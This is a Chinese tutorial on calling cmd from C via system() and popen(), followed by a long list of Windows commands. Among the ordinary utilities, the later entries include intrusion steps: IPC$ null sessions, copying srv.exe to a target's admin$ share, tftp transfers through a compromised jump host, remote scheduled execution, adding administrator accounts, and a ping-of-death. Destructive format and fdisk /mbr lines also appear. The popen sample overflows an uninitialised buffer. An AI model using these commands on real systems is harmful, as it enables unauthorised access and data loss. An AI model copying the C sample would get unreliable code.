C语言调用cmd以及编程相关的cmd命令总结

本文主要介绍利用c语言调用cmd命令的方法,和简单介绍一下100多个编程相关的cmd命令。

一、c语言调用cmd命令的方法

主要是使用system函数,下面看一下:

system函数:

原型:int system(const char * command);
功能:执行 dos(windows系统) 或 shell(Linux/Unix系统) 命令,参数字符串command为命令名;
说明:在windows系统中,system函数直接在控制台调用一个command命令。在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程;
头文件:stdlib.h;
返回值:命令执行成功返回0,执行失败返回-1。
示例代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
system("ping www.baidu.com"); //ping一下域名
system("calc");//打开计算器
system("pause");
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 128

int main() {
    char buffer[BUFFER_SIZE];
    char result[BUFFER_SIZE];
    FILE *fp;
    // 执行系统命令并获取输出
    fp = popen("ping www.baidu.com", "r");
    if (fp == NULL) {
        printf("Failed to run command\n");
        return 1;
    }

    // 读取命令输出到result字符串中
    while (fgets(buffer, BUFFER_SIZE, fp) != NULL) {
        strcat(result, buffer);
    }

    // 输出结果
    printf("Command output:\n%s\n", result);

    // 关闭文件指针
    pclose(fp);

    return 0;
}

二、编程相关cmd命令总结

1. appwiz.cpl:程序和功能
2. calc:启动计算器
3. certmgr.msc:证书管理实用程序
4. charmap:启动字符映射表
5. chkdsk.exe:Chkdsk磁盘检查(管理员身份运行命令提示符)
6. cleanmgr: 打开磁盘清理工具
7. cliconfg:SQL SERVER 客户端网络实用工具
8. cmstp:连接管理器配置文件安装程序
9. cmd.exe:CMD命令提示符
10. 自动关机命令
  Shutdown -s -t 600:表示600秒后自动关机
  shutdown -a :可取消定时关机
  Shutdown -r -t 600:表示600秒后自动重启
  rundll32 user32.dll,LockWorkStation:表示锁定计算机
11. colorcpl:颜色管理,配置显示器和打印机等中的色彩
12. CompMgmtLauncher:计算机管理
13. compmgmt.msc:计算机管理
14. credwiz:备份或还原储存的用户名和密码
15. comexp.msc:打开系统组件服务
16. control:控制面版
17. dcomcnfg:打开系统组件服务
18. Dccw:显示颜色校准
19. devmgmt.msc:设备管理器
20. desk.cpl:屏幕分辨率
21. dfrgui:优化驱动器 Windows 7→dfrg.msc:磁盘碎片整理程序
22. dialer:电话拨号程序
23. diskmgmt.msc:磁盘管理
24. dvdplay:DVD播放器
25. dxdiag:检查DirectX信息
26. eudcedit:造字程序
27. eventvwr:事件查看器
28. explorer:打开资源管理器
29. Firewall.cpl:Windows防火墙
30. FXSCOVER:传真封面编辑器
31. fsmgmt.msc:共享文件夹管理器
32. gpedit.msc:组策略
33. hdwwiz.cpl:设备管理器
34. inetcpl.cpl:Internet属性
35. intl.cpl:区域
36. iexpress:木马捆绑工具,系统自带
37. joy.cpl:游戏控制器
38. logoff:注销命令
39. lusrmgr.msc:本地用户和组
40. lpksetup:语言包安装/删除向导,安装向导会提示下载语言包
41. lusrmgr.msc:本机用户和组
42. main.cpl:鼠标属性
43. mmsys.cpl:声音
44. magnify:放大镜实用程序
45. mem.exe:显示内存使用情况(如果直接运行无效,可以先管理员身份运行命令提示符,在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。)
46. MdSched:Windows内存诊断程序
47. mmc:打开控制台
48. mobsync:同步命令
49. mplayer2:简易widnows media player
50. Msconfig.exe:系统配置实用程序
51. msdt:微软支持诊断工具
52. msinfo32:系统信息
53. mspaint:画图
54. Msra:Windows远程协助
55. mstsc:远程桌面连接
56. NAPCLCFG.MSC:客户端配置
57. ncpa.cpl:网络连接
58. narrator:屏幕“讲述人”
59. Netplwiz:高级用户帐户控制面板,设置登陆安全相关的选项
60. netstat : an(TC)命令检查接口
61. notepad:打开记事本
62. Nslookup:IP地址侦测器
63. odbcad32:ODBC数据源管理器
64. OptionalFeatures:打开“打开或关闭Windows功能”对话框
65. osk:打开屏幕键盘
66. perfmon.msc:计算机性能监测器
67. perfmon:计算机性能监测器
68. PowerShell:提供强大远程处理能力
69. printmanagement.msc:打印管理
70. powercfg.cpl:电源选项
71. psr:问题步骤记录器
72. Rasphone:网络连接
73. Recdisc:创建系统修复光盘
74. Resmon:资源监视器
75. Rstrui:系统还原
76. regedit.exe:注册表
77. regedt32:注册表编辑器
78. rsop.msc:组策略结果集
79. sdclt:备份状态与配置,就是查看系统是否已备份
80. secpol.msc:本地安全策略
81. services.msc:本地服务设置
82. sfc /scannow:扫描错误并复原/windows文件保护
83. sfc.exe:系统文件检查器
84. shrpubw:创建共享文件夹
85. sigverif:文件签名验证程序
86. slui:Windows激活,查看系统激活信息
87. slmgr.vbs -dlv :显示详细的许可证信息
  slmgr.vbs -dli :显示许可证信息
  slmgr.vbs -xpr :当前许可证截止日期
  slmgr.vbs -dti :显示安装ID 以进行脱机激
  slmgr.vbs -ipk :(Product Key)安装产品密钥
  slmgr.vbs -ato :激活Windows
  slmgr.vbs -cpky :从注册表中清除产品密钥(防止泄露引起的攻击)
  slmgr.vbs -ilc :(License file)安装许可证
  slmgr.vbs -upk :卸载产品密钥
  slmgr.vbs -skms :(name[ort] )批量授权
88. snippingtool:截图工具,支持无规则截图
89. soundrecorder:录音机,没有录音时间的限制
90. StikyNot:便笺
91. sysdm.cpl:系统属性
92. sysedit:系统配置编辑器
93. syskey:系统加密,一旦加密就不能解开,保护系统的双重密码
94. taskmgr:任务管理器(旧版)
95. TM任务管理器(新版)
96. taskschd.msc:任务计划程序
97. timedate.cpl:日期和时间
98. UserAccountControlSettings用户账户控制设置
99. utilman:辅助工具管理器
100. wf.msc:高级安全Windows防火墙
101. WFS:Windows传真和扫描
102. wiaacmgr:扫描仪和照相机向导
103. winver:关于Windows
104. wmimgmt.msc:打开windows管理体系结构(WMI)
105. write:写字板
106. wscui.cpl:操作中心
107. wscript:windows脚本宿主设置
108. wuapp:Windows更新
109.磁盘操作,
  fdisk 隐含 参数 /mbr 重建主引导记录fdisk /mbr 重建主引导记录
  fdisk 在DOS7.0以后增加了/cmbr参数,可在挂接多个物理硬盘时,重建排序在后面的硬盘的主引导记录,例如:fdisk /cmbr 2,可重写第二个硬盘的主引导记录。(在使用时要十分小心,避免把好的硬盘引导记录损坏)
  format 参数: /q 快速格式化 /u 不可恢复 /autotest 不提示 /s 创建 MS-DOS 引导盘 format c: /q /u /autotest
110.目录操作
  DIR [目录名或文件名] [/S][/W][/P][/A] 列出目录 参数: /s 查找子目录/w 只显示文件名 /p 分页/a 显示隐藏文件 DIR format.exe /s查找该盘的format.exe文件并报告位置
  MD (MKDIR) [目录名] 创建目录 MKDIR HELLOWORLD 创建HELLOWORLD目录
  CD (CHDIR) [目录名] PS:可以使用相对目录或绝对目录 进入目录 CD AA 进入当前文件夹下的AA目录,cd .. 进入上一个文件夹cd \返回根目录;cd c:\windows 进入c:\windows文件夹
  RD ( RMDIR) [目录名] 删除目录 RD HELLOWORLD 删除HELLOWORLD目录
111.文件操作
  删除目录及其文件: rmdir [目录名或文件名] [/S][/W][/P][/A] 。例 rmdir c:\qqdownload/s 删除C盘的qqdownload目录。
  del [目录名或文件名] [/f][/s][/q] 删除 参数:/f 删除只读文件/s 删除该目录及其下的所有内容 /q 删除前不确认
  del c:\del /s /q 自动删除c盘的del目录。
  copy [源文件或目录] [目标目录] 复制文件 copy d:\pwin98\*.* c:\presetup 将d盘的pwin98的所有文件复制到c盘的presetup下。
  attrib [参数][源文件或目录] 文件属性操作命令,attrib命令可以列出或修改磁盘上文件的属性,文件属性包括文档(A)、只读(R)、隐藏(H)、系统(S),例如:attrib -h -r -s io.sys 执行这一命令后,将把DOS系统文件io.sys文件的只读、隐藏、系统属性去掉,这时将可以直接通过dir命令看到io.sys文件。attrib +h +r +s autoexec.bat将为自动批处理文件增加以上属性。
112.内存操作
  debug 调试内存 参数 -w [文件名] 写入二进制文件 -o [地址1] [地址2] 输出内存 -q 退出 exp:o 70 10[return] o 71 01
  [return] 01[return] q[return] DOS下通过写70h/71h PORT改变BIOS密码在CMOS中存放的对应位置的值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以在纯DOS下用。
113.分区操作
  给磁盘分区,一般都会分成四个区,磁盘分区由主分区、扩展分区、逻辑分区组成。
  PQ和Acronis Disk Director这两个工具都可以在不丢失数据的情况下对分区进行调整大小,以及合并等操作,XP系统的话你用PQ,WIN7系统的话用Acronis Disk Director 操作基本一样,可以去网上找教程来看看,再不重装系统的情况下都能调整分区大小,但是建议你还是先备份下数据再调整,毕竟对硬盘直接进行的操作有一定的危险性。
114.
  net use ipipc$ " " /user:" " 建立IPC空链接
  net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
  net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
  net use h: ipc$ 登陆后映射对方C:到本地为H:
  net use ipipc$ /del 删除IPC链接
  net use h: /del 删除映射对方到本地的为H:的映射
  net user 用户名 密码 /add 建立用户
  net user guest /active:yes 激活guest用户
  net user 查看有哪些用户
  net user 帐户名 查看帐户的属性
  net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限
  net start 查看开启了哪些服务
  net start 服务名 开启服务;(如:net start telnet, net start schedule)
  net stop 服务名 停止某服务
  net time 目标ip 查看对方时间
  net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
  net view 查看本地局域网内开启了哪些共享
  net view ip 查看对方局域网内开启了哪些共享
  net config 显示系统网络设置
  net logoff 断开连接的共享
  net pause 服务名 暂停某服务
  net send ip "文本信息" 向对方发信息
  net ver 局域网内正在使用的网络连接类型和信息
  net share 查看本地开启的共享
  net share ipc$ 开启ipc$共享
  net share ipc$ /del 删除ipc$共享
  net share c$ /del 删除C:共享
  net user guest 12345 用guest用户登陆后用将密码改为12345
  net password 密码 更改系统登陆密码
  netstat -a 查看开启了哪些端口,常用netstat -an
  netstat -n 查看端口的网络连接情况,常用netstat -an
  netstat -v 查看正在进行的工作
  netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况
  netstat -s 查看正在使用的所有协议使用情况
115.nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名
116.tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
117.ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
118.ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
119.tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
120.kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
121.del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
122.del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
123.move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
124.fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
125.at id号 开启已注册的某个计划任务
  at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
  at id号 /delete 停止某个已注册的计划任务
  at 查看所有的计划任务
  at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
126.finger username @host 查看最近有哪些用户登陆
127.telnet ip 端口 远和登陆服务器,默认端口为23
  open ip 连接到IP(属telnet登陆后的命令)
  telnet 在本机上直接键入telnet 将进入本机的telnet
128.
  copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
  copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
  copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
  copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
  xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
  用参数/e才可连目录下的子目录一起复制到目标地址下。
129.
  tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
  tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
  ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
130.
  route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
  arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
131.
  start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
132.
  attrib 文件名(目录名) 查看某文件(目录)的属性
  attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
  dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
133.
  date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
134.
  set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
  set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
135.
  pause 暂停批处理程序,并显示出:请按任意键继续....
136.
  call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
137.
  echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
  echo 信息 在屏幕上显示出信息
  echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
138.
  findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
  find 文件名 查找某文件
139.
  title 标题名字 更改CMD窗口标题名字
  color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
140.prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
141.winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
142.format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
143.md 目录名 创建目录
144.replace 源文件 要替换文件的目录 替换文件
145.ren 原文件名 新文件名 重命名文件名
146.tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
147.type 文件名 显示文本文件的内容
148.doskey 要锁定的命令=字符
  doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
149.taskmgr 调出任务管理器
150.chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
151.tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
152.exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
153.path 路径可执行文件的文件名 为可执行文件设置一个路径。
154.cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
155.
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
156.
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
  cacls 文件名 查看文件的访问用户权限列表
157.REM 文本内容 在批处理文件中添加注解
158.netsh 查看或更改本地网络配置情况

推荐阅读
cjavapy编程之路首页